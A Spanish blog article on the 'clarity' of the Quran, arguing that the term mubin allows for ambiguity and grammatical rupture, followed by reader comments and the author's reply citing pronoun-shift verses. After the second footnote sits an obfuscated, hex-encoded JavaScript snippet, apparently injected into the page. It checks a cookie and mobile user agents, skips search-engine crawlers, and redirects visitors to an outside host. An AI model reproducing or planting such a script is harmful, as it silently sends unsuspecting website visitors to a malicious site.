miércoles , octubre 18 2017

Sobre la claridad del Corán

En un artículo anterior hemos tratado la cuestión de la ambigüedad y/o la polisemia características del Corán en tanto texto, mostrando hasta qué punto el lenguaje del Corán rompe con las normas y nos aboca a un decir no conciliado, difícil de reducir a categorías racionales. En otro artículo hemos puesto de manifiesto su no historicidad, incluso hemos celebrado sus supuestos “errores” o “incoherencias” con respecto una la historia en tanto crónica de acontecimientos que se despliegan sobre el tiempo lineal, provocando en este plano también una ruptura. En un tercer artículo, hemos defendido la consideración del Corán como obra abierta.

Lo dicho en estos textos contrasta con la visión propagada por los apologistas, según los cuales el Corán no contendría ni “errores” ortográficos o lingüísticos, ni imprecisiones históricas, ni la menor ambigüedad. Por el contrario, sería un texto perfecto en cuanto a la coherencia de su lengua, a su precisión histórica, a la claridad sin matices de todo lo que enuncia. En el extremo de esta perspectiva, se llegará a encontrar teorías científicas modernas en el mismo texto del Corán: no simples prefiguraciones, sino las teorías mismas perfectamente expuestas. Para lograr estas proezas, será necesario retorcer el lenguaje, realizar bizarras interpretaciones, ver confirmadas unas expectativas infantiles. Todo ello con el objetivo de no contradecir algunos versículos coránicos, interpretados de forma superficial, como si su sentido fuese incontestable desde esta perspectiva óntica, como si las palabras integridad o claridad solo pudiesen ser entendidas en un sentido restringido como “estar físicamente completo” o “no contener ninguna idea susceptible de ser interpretada”, como si el ser claro equivaliese a la simpleza.

En cuanto a la claridad, los versículos a considerar son, entre otros, los siguientes:

Porque hemos hecho descender sobre ti mensajes ciertamente claros; y solo los perversos niegan la verdad.
(2: 99)

Ciertamente, hemos hecho claros los signos para aquellos dotados de certeza interior.
(2: 119)

Una escritura divina con mensajes que han sido hechos claros, y además han sido enunciados explícitamente, por la gracia de Uno que es sabio, consciente de todo, para que no adoréis sino a Al-lâh.
(11: 1-2)

En relación a esta última cita (y también a su hermana gemela 12:1-2), la referencia resulta paradójica. A menudo se omite que esta declaración viene precedida de las letras alif, lam, ra…, cuya inclusión es reconocida como un misterio por los comentaristas, incluso por aquellos que consideran que en el Corán todo está claro, en el sentido de obvio. Ciertamente, la claridad a la que nos invita no anula su secreto. Según la opinión del gran lingüista Sibaweih y de Rasi en su comentario a 11: 1-2, las letras Alif-Lam-Ra son el título de esta sura y deben leerse juntamente con la frase siguiente, es decir:

“Alif-Lam-Ra es una escritura divina con mensajes que han sido hechos claros…”

Pero ¿a qué clase de claridad nos remiten estas aleyas, o estas letras? En este punto debemos considerar el adjetivo mubin, proveniente de la raíz bâ-yâ-nûn[1]. Según Muhámmad Asad, este “puede denotar un atributo del nombre al que califica (“claro”, “manifiesto”, “obvio”, etc.) y también su función (“que aclara” o “que pone de manifiesto”, e.d., la verdad), siendo el contexto el que dicta cual de los dos significados es el más apropiado”. 

Pero esto no aclara en qué sentido el Corán es mubin. Si atendemos al segundo de los significados, podríamos decir que la revelación hace manifiesto aquello que permanecía fuera del alcance de la mente humana, lo trae a la luz del día, presentándolo de forma elocuente. Se trata de traer al alcance de quienes se abren a la Palabra de Al-lâh aquello que en una situación normal el ser humano no percibe. Pues si lo que el Corán contiene fuese algo obvio por sí mismo, entonces no sería necesaria ninguna Palabra que lo re-velase. Esta sería la perspectiva de la Ilustración europea, para la cual la revelación es una forma defectuosa de presentar unos contenidos que la razón humana se dispone a presentar con el lenguaje distintivo de la ciencia.

Por nuestra parte, pensamos que la claridad a la que se refiere no tiene que ver con las expectativas de ciertas personas aprehensivas, temerosas de la expansión de los sentidos. No tiene tampoco que ver con la claridad a la que dicen aspirar las ciencias modernas, cuyo paradigma de comprensión nos sitúa en las antípodas del pathos coránico. No debemos tampoco confundir la claridad de sus contenidos con el modo en que han sido expuestos, como si lo claro fuese, por definición, algo simple y obvio, cuando no banal. Un poeta neobarroco como Lezama Lima es capaz de elevar al cubo sus metáforas, de modo que el lector pierde toda referencia externa y se ve abocado a la plasticidad más inmediata. Y puede hacer eso en busca, precisamente, de una claridad que se transmite en forma de poema incomprensible para la razón discursiva, y que corresponde a una transmisión –a un arte- que solo es posible de corazón a corazón, y que reclama la mediación de la imaginación activa para completar la transmisión. Pues “ahora sabemos que la única certeza se engendra en lo que nos rebasa”[2]. Si el Corán no rebasase lo sabido, abriéndonos a una claridad inesperada, no sería capaz de sembrar en nosotros la Palabra, ni esta podría germinar en nuevas creaciones.

La revelación puede ser ambigua, difícil, polisémica, inasible, sin perder un ápice de claridad. Más bien al contrario: la dificultad es necesaria para lograr la transparencia. Esta no esta ahí, a disposición nuestra, para que hagamos con el Corán lo que nos venga en gana, sobre la premisa de que todo en él es fácilmente comprensible, de modo que solo nos queda la tarea de poner en orden y a la mano sus mandatos. Tampoco es un texto esotérico u oscuro, que solo los especialistas puedan descifrar. La propia raíz de la palabra mubin alude a lo accesible, a lo que se manifiesta abiertamente, hasta el punto de presentarse como prueba concluyente de aquello que desvela. La claridad que nos ofrece es difícil de alcanzar, pues implica el clarificarnos a nosotros mismos. Y eso solo es posible como un desvelamiento progresivo, del cual el Corán actúa como espejo, como claro en que el ser viene a la presencia. No se trata de un fulgor, sino de una luz manifiesta que persiste. La persistencia de la luz provoca un deslumbramiento. La claridad del Corán nos ciega en un principio. Solo lentamente podemos hacernos a esa claridad, acostumbrarnos al exceso de luz en el cual se nos sitúa.

En el plano lingüístico, nos situamos ante una claridad –a la que ya podemos calificar de transparencia– lograda mediante la ruptura con la conexión causal en el lenguaje, de modo que este es desarticulado en cuanto transmisor de meras ideas mentales, haciéndose capaz de reflejar el Decir de Al-lâh. Este es el gran milagro del Corán, la utilización del lenguaje humano como transmisor del Decir de Al-lâh. Algo que solo puede lograrse trastocando el lenguaje humano, haciendo trizas –pero tan solo hasta cierto punto- lo dicho. De ahí las no concordancias gramaticales, la inclusión de todo tipo de ambigüedades, el recurso a la metáfora, el simbolismo, las parábolas, las interjecciones, las perífrasis, los saltos de tiempo, los numerosos enigmas que suscita… En el Corán el lenguaje cotidiano se quiebra. El receptor se siente rebasado y se ve forzado a abandonar toda pretensión de dominar el texto mediante la imposición de un saber ya constituido. Pero solo hasta cierto punto, pues de otro modo la comunicación se perdería. Hay pues un equilibrio entre lo circular y lo lineal, entre lo narrativo y lo poético, pero siempre situándonos más allá de estas dualidades espectrales. Finalmente todo cae del lado de la claridad, de la comunicación, de una posibilidad de comprensión que requiere del lector una apertura que pasa por dejar de tratar de controlar o de reducir lo leído a fórmulas convencionales, para permitir que el Decir de Al-lâh lo active. Por eso el Corán es mubin: se manifiesta abiertamente, sus aleyas son hospitalarias, ofrecen cobijo a aquellos que se entregan. No se trata de ningún galimatías de la mente, sino más bien del logro supremo de una transparencia intempestiva, que ha cedido al lector la decisión de refugiarse en un saber tradicional (lo ya interpretado), o de lanzarse de bruces en el océano coránico.

Notas

[1] Palabras derivadas de esta trilítera aparecen 523 veces en el Corán, en trece formas diferentes. Se trata pues de un término central, sobre el cual tendremos que volver una y otra vez. Nuestra pretensión, en este punto, es responder de forma simple a la cuestión planteada sobre la ambigüedad.

[2] La dignidad de la poesía, ed. Versal, p.261.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( 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Acerca de Abdennur Prado

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Ver también

La alabanza

¿Somos conscientes de lo que significa el alabar a Al-lâh, de sus implicaciones psíquicas, físicas, …

4 comentarios

  1. Imagen de perfil de Carmen del Río

    Dice el texto:

    “De ahí las no concordancias gramaticales, la inclusión de todo tipo de ambigüedades,…”

    ¿Podría indicarse alguna de esas faltas de cocordancia gramatical o de ambigüedad?

    Gracias

    • Imagen de perfil de Abdennur Prado

      Salam, Carmen

      Sobre la cuestión de la ambigüedad (tan característica de toda obra abierta, generosa, compasiva), me remito a mi texto anterior, del cual este viene a ser una continuación: http://www.alkalima.es/ambigueedad-y-o-polisemia/

      Sobre las no concordancias gramaticales, hay decenas de saltos de pronombre. M A S Abdel Haleem, traductor del Corán al inglés, da las siguientes referencias solo del salto de la tercera a la primera persona en una misma frase: 2:23, 47, 73, 83, 118, 160, 172; 3:25, 58, 168; 4:30, 33, 37, 41, 64, 74, 114, 174; 5:14, 15, 19, 32, 70, 86; 6:22. 92. 97, 98, 99, 107, 110, 114, 126; 7:37, 57; 8:9, 41; 10:7, 11, 21, 22, 23, 28; 11:8; 13:4; 14:13; 16:2, 40, 66, 75, 84; 17:1, 21, 33, 97; 18:7; 19:9, 21, 58; 20:53, 113; 21:29, 37; 22:57, 67; 24:55; 25:17, 32, 45, 48, 56; 26:198; 27:60, 81; 28:57, 61, 75; 29:4, 7, 23; 30:16, 28, 34, 47, 51, 58; 31:7, 10, 23; 32:12, 16, 27; 33:9, 31; 34:5, 9; 35:9, 27; 36:8, 37; 37:6; 39:2, 3, 16, 27, 49; 40:5. 70, 84; 41:12, 28, 39; 42:7, 13, 20, 23, 35, 38, 48; 45:31; 46:7, 15; 47:13; 48:25. 49:13; 52:21, 48; 53:29; 54:11; 55:31, 58:5; 59:21; 61:14; 65:8; 66:10; 67:5, 17; 68:15, 35; 69:11; 70:7; 72:16; 76:9; 80:25; 86:15; 87:6; 88:25; 89:29; 92:7; 96:15.

      Dice Abdelmumin Aya: “En tan solo las catorce primeras aleyas de la sura 55 se pasa de hablar de Allâh en tercera persona (“Él”) a hablar Él mismo en primera persona del singular (“Yo”), y luego del plural (“Nosotros”), para volver por fin al 2Él” del principio” (El islam no es lo que crees, p.34).

      Luego, hay ejemplos de no concordancias en las formas verbales, como 33:10-11, 40:67, 22:63, 22:65, 18:47, 27:87, 2:125… y muchas más.

      Te recomiendo este artículo de Abdel Haleem: http://www.islamic-awareness.org/Quran/Text/Grammar/iltifaat.html

      Pero el asunto va mucho más allá de estos saltos que pueden ser considerados “retóricos”. Un buen ejemplo de hasta que punto el Corán rompe con toda lógica gramatical sería 26:208-212. En la traducción que da Abdelmumin Aya (literal, lo cual viene al caso, pues se respetan los tiempos verbales del original… no se “arregla” como hacen la mayoría de los traductores):

      “Pero no destruimos ciudad sin que para ellos hubiera amonestadores / recuerdo / y no fuimos injustos / y no les hicieron bajar los demonios / y no les incumbe a ellos / y no pueden / ciertamente, ellos de la audición destituidos”.

      Es un pasaje abiertamente ambiguo, en el cual el lenguaje es usado de forma libre para impactar al receptor mucho más que para limitarse a “decir” algo.

      En cuanto a la ambigüedad sobre el sujeto de la oración, vale la pena leer 14:22-23. Aquí, empieza hablando el Shaytán y termina hablando Al-lâh… El problema es que no está indicado en que momento acaba de hablar uno y empieza el otro… Lo cual me parece, simplemente, genial. Fuerza al receptor a hacerse cargo de la revelación, pero tb le muestra hasta que punto el Shaytán está sometido a Al-lâh. Claro que otros preferirán aferrarse a las explicaciones de los especialistas.

      Luego, están las redundancias y aliteraciones, tan expresivas, como en 29:13. Esta es una de mis preferidas: 89:20-22…

      Watuhibboona almala hubban jamman
      kalla itha dukkati al-ardu dakkan dakkan
      wajaa rabbuka waalmalaku saffan saffan…

      Si la Palabra de Al-lâh se plegase a una gramática elaborada por el hombre, no veo en que sentido podríamos hablar de revelación. Al-lâh rompe con los límites en los cuales vivimos encerrados. Nos fuerza a una apertura más allá de todo lo sabido. Al-lâhu Akbar!

      Saludos,

  2. Imagen de perfil de Carmen del Río

    Me confundió un poco lo de la concordancia en el sentido de que yo pensaba por ejemplo “leche blanco” o “cara moreno” o “cuatro pie”.

    Aclarado, gracias.

  3. Imagen de perfil de Sáleh Abdurrahim Isa

    Enhorabuena por el artículo, sobre todo me encanta la frase: “Este es el gran milagro del Corán, la utilización del lenguaje humano como transmisor del Decir de Al-lâh”. Por lo demás, cada vez estoy más convencido de que la verdad no está oculta, sino que es clara con esa claridad que permite que siga siendo clara en otros momentos y lugares. Otra cosa soy yo, con mis limitaciones múltiples y varias, para lo que me queda tan sólo la confianza en que Al-Lah también sabía eso cuando nos concedió el Corán y lo tuvo en cuenta.

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